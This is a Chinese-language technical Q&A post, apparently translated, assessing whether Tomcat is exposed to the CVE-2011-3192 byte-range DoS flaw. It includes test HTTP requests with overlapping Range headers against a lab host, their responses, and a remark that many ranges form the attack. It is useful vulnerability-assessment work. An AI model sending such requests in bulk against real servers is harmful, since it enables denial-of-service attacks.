apache-2.2 – Tomcat是否容易受到CVE-2011-3192中Apache DoS漏洞的攻击?
Tomcat是否受此漏洞影响?这是 advisory announcement. 从本质上讲,此漏洞使Apache服务器对单个文件的请求构建大量响应,远远大于文件本身.虽然RFC( 2616)告诉Web服务接受多个范围,但没有什么可以说你不能让范围重叠. Apache的实施不好,但其他Web服务器很有可能容易受到攻击.大多数Tomcat servlet不允许Range请求,因为它是一个过滤器的自定义实现,用于喷出正确的内容块.但是,默认的servlet(处理静态内容)是另一个故事.
当前的Tomcat代码(here)接受多个范围集,单独验证它们是否在文件大小的范围内,并将其放在要服务的范围列表中.但是,范围从servlet的内部缓存按顺序流出,如果请求数据的客户端断开连接,则应立即停止进程;在大多数情况下,这应该使重叠范围请求大致等同于服务大文件的性能影响.
并且,确认,快速测试..
我们将发送快速请求/获取大小..
请求:
HEAD / HTTP/1.1 Host: 192.168.100.200 Accept-Encoding: gzip Connection: close
响应:
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Accept-Ranges: bytes ETag: W/"1887-1314245401000" Last-Modified: Thu, 25 Aug 2011 04:10:01 GMT Content-Type: text/html Content-Length: 1887 Date: Thu, 25 Aug 2011 04:18:05 GMT Connection: close
判决结果是1887字节,可爱的小“它有效!”页.这告诉我们在没有Tomcat的情况下我们可以使用的范围超出范围.
好的,让我们检查它是否允许快速重叠,字节0到10然后是5到15:
请求:
GET / HTTP/1.1 Host: 192.168.100.200 Range: bytes=0-10,5-15 Accept-Encoding: gzip Connection: close
响应:
HTTP/1.1 206 Partial Content Server: Apache-Coyote/1.1 Accept-Ranges: bytes ETag: W/"1887-1314245401000" Last-Modified: Thu, 25 Aug 2011 04:10:01 GMT Content-Type: multipart/byteranges; boundary=CATALINA_MIME_BOUNDARY Content-Length: 224 Date: Thu, 25 Aug 2011 04:17:11 GMT Connection: close --CATALINA_MIME_BOUNDARY Content-Type: text/html Content-Range: bytes 0-10/1887 <?xml versi --CATALINA_MIME_BOUNDARY Content-Type: text/html Content-Range: bytes 5-15/1887 version="1 --CATALINA_MIME_BOUNDARY--
是的,确定 – <?xml versi和version =“1.所以重叠的工作. 并且,它是否允许请求的数据多于实际服务文件中的数据: 请求:
GET / HTTP/1.1 Host: 192.168.100.200 Range: bytes=0-1800,1-1886 Accept-Encoding: gzip Connection: close
响应:
HTTP/1.1 206 Partial Content
Server: Apache-Coyote/1.1
Accept-Ranges: bytes
ETag: W/"1887-1314245401000"
Last-Modified: Thu, 25 Aug 2011 04:10:01 GMT
Content-Type: multipart/byteranges; boundary=CATALINA_MIME_BOUNDARY
Content-Length: 3893
Date: Thu, 25 Aug 2011 04:19:51 GMT
Connection: close
--CATALINA_MIME_BOUNDARY
Content-Type: text/html
Content-Range: bytes 0-1800/1887
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>Apache Tomcat</title>
</head>
...(lots more data)...
是的 – 近4KB服务于一个2KB以下的文件.
扩大这种方法以包括大量范围,这是攻击的基本结构.在Tomcat的情况下,真正的影响似乎是它允许攻击者获取大量数据以响应对相对较小资源的请求,这可能有助于针对拒绝服务的带宽.我也怀疑其他边缘案件的影响;反向代理尝试缓存206响应,或者当请求的资源是大于Tomcat缓存中的文件时.